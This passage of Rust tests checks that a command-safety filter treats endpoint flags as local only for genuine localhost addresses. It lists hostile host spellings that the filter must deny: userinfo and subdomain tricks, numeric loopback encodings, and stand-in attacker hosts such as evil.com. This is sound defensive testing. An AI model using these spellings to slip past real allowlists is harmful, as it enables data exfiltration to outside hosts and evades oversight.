let Some(verb) = pats.first().map(|p| match p.strip_suffix('*') {
Some(prefix) => format!("{prefix}x"),
None => p.clone(),
}) else {
return;
};
for flag in lb {
out.push((format!("{pfx} {verb}"), flag.clone()));
}
};
match kind {
DispatchKind::FirstArg { patterns, loopback_valued, .. } => {
collect(prefix, patterns, loopback_valued, out);
}
DispatchKind::Branching { subs, first_arg, first_arg_loopback_valued, .. } => {
collect(prefix, first_arg, first_arg_loopback_valued, out);
for s in subs {
walk(&format!("{prefix} {}", s.name), &s.kind, out);
}
}
_ => {}
}
}
let mut gated = Vec::new();
for (name, spec) in TOML_REGISTRY.iter() {
walk(name, &spec.kind, &mut gated);
}
assert!(
!gated.is_empty(),
"no loopback-gated flag in the registry — this guard would be vacuous",
);
let mut wrong = Vec::new();
for (invocation, flag) in &gated {
for (host, want_allowed) in CASES {
for cmd in [
format!("{invocation} {flag} '{host}'"),
format!("{invocation} {flag}='{host}'"),
] {
let allowed = crate::is_safe_command(&cmd);
if allowed != *want_allowed {
wrong.push(format!(
"{cmd} => {}, want {}",
if allowed { "ALLOWED" } else { "DENIED" },
if *want_allowed { "ALLOWED" } else { "DENIED" },
));
}
}
}
let bare = format!("{invocation} {flag}");
assert!(
!crate::is_safe_command(&bare),
"a loopback-gated flag with no value must deny: {bare}",
);
}
assert!(wrong.is_empty(), "loopback gate wrong at dispatch level:\n{}", wrong.join("\n"));
}
#[test]
fn a_loopback_delta_applies_only_to_a_recognized_local_destination() {
use super::types::DispatchKind;
fn walk(prefix: &str, kind: &DispatchKind, out: &mut Vec<(String, String)>) {
if let DispatchKind::Branching { subs, .. } = kind {
for s in subs {
let path = format!("{prefix} {}", s.name);
if s.loopback_effect == super::types::LoopbackEffect::Localizes
&& let Some(flag) = s.loopback_valued.first()
{
out.push((path.clone(), flag.clone()));
}
walk(&path, &s.kind, out);
}
}
}
let mut subs = Vec::new();
for (name, spec) in TOML_REGISTRY.iter() {
walk(name, &spec.kind, &mut subs);
}
assert!(!subs.is_empty(), "no sub localizes on loopback — this guard would be vacuous");
let mut wrong = Vec::new();
for (path, flag) in &subs {
if crate::is_safe_command(path) {
wrong.push(format!("{path} (no endpoint) => ALLOWED, want DENIED"));
}
for host in [
"http://localhost@evil.com",
"http://evil.com",
"http://localhost.evil.com",
"http://2130706433",
] {
let cmd = format!("{path} {flag} '{host}'");
if crate::is_safe_command(&cmd) {
wrong.push(format!("{cmd} => ALLOWED, want DENIED"));
}
}
let after_terminator = format!("{path} -- {flag} http://localhost:8000");
if crate::is_safe_command(&after_terminator) {
wrong.push(format!("{after_terminator} => ALLOWED, want DENIED (flag is past `--`)"));
}
}
assert!(
wrong.is_empty(),
"a loopback delta applied to a destination that is not this machine:\n{}",
wrong.join("\n"),
);
}
#[test]
fn the_loopback_delta_applies_only_for_a_local_host() {
let sub = |args: &[&str]| -> bool {
let tokens: Vec<Token> = args.iter().map(|s| Token::from_test(s)).collect();
super::sub_loopback_localizes(&tokens)
};
let base = ["aws", "dynamodb", "put-item", "--table-name", "t"];
let with = |endpoint: &str| {
let mut v = base.to_vec();
v.push("--endpoint-url");
v.push(endpoint);
sub(&v)
};
assert!(with("http://localhost:8000"), "a local endpoint clears the destination facets");
assert!(with("http://127.0.0.1:8000"), "dotted-quad loopback likewise");
assert!(!with("http://evil.com"), "a remote endpoint keeps them");
assert!(!with("http://localhost@evil.com"), "userinfo must not clear them");
assert!(!with("http://localhost.evil.com"), "a subdomain must not clear them");
assert!(!sub(&base), "no endpoint flag at all keeps the remote facets");
let destroy = ["aws", "dynamodb", "delete-table", "--table-name", "t",
"--endpoint-url", "http://localhost:8000"];
assert!(!sub(&destroy), "a destroy sub never localizes, whatever its endpoint says");
}
mod loopback_host_properties {
use super::*;
fn hostile_host() -> impl proptest::strategy::Strategy<Value = String> {
use proptest::prelude::*;
let local_looking = prop::sample::select(vec!["localhost", "127.0.0.1", "app.localhost", "[::1]"]);
let real = prop::sample::select(vec!["evil.com", "attacker.net", "10.0.0.1", "example.org"]);
let shape = 0usize..6;
(local_looking, real, shape).prop_map(|(l, r, shape)| match shape {
0 => format!("http://{l}@{r}"),
1 => format!("http://a@{l}@{r}"),
2 => format!("http://{}.{r}", l.trim_matches(['[', ']'])),
3 => format!("http://{r}/{l}"),
4 => format!("http://{r}#@{l}"),
_ => format!("http://{r}?@{l}"),
})
}
fn unrecognized_local_spelling() -> impl proptest::strategy::Strategy<Value = String> {
use proptest::prelude::*;
prop::sample::select(vec![
"http://2130706433", "http://0x7f000001", "http://0177.0.0.1",
"http://127.1", "http://127.0.0.01", "http://[::ffff:127.0.0.1]",
])
.prop_map(String::from)
}
fn localizing_subs() -> Vec<(String, String)> {
use super::super::types::{DispatchKind, LoopbackEffect};
fn walk(prefix: &str, kind: &DispatchKind, out: &mut Vec<(String, String)>) {
if let DispatchKind::Branching { subs, .. } = kind {
for s in subs {
let path = format!("{prefix} {}", s.name);
if s.loopback_effect == LoopbackEffect::Localizes
&& let Some(flag) = s.loopback_valued.first()
{
out.push((path.clone(), flag.clone()));
}
walk(&path, &s.kind, out);
}
}
}
let mut out = Vec::new();
for (name, spec) in TOML_REGISTRY.iter() {
walk(name, &spec.kind, &mut out);
}
out
}
proptest::proptest! {
#![proptest_config(proptest::test_runner::Config::with_cases(500))]
#[test]
fn a_localizing_sub_refuses_every_hostile_host(host in hostile_host()) {
let subs = localizing_subs();
proptest::prop_assert!(!subs.is_empty(), "no localizing sub — this property would be vacuous");
for (path, flag) in subs {
for cmd in [
format!("{path} {flag} '{host}'"),
format!("{path} {flag}='{host}'"),
] {
proptest::prop_assert!(
!crate::is_safe_command(&cmd),
"localized on a host that is not this machine: {}", cmd,
);
}
}
}
#[test]
fn an_unrecognized_local_spelling_denies(host in unrecognized_local_spelling()) {
for (path, flag) in localizing_subs() {
let cmd = format!("{path} {flag} '{host}'");
proptest::prop_assert!(
!crate::is_safe_command(&cmd),
"recognized a spelling netloc deliberately declines: {}", cmd,
);
}
}
}
}